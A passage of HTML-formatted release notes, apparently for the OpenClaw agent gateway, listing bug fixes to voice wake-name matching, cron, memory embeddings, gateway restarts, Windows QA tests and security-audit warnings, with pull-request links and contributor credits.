<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
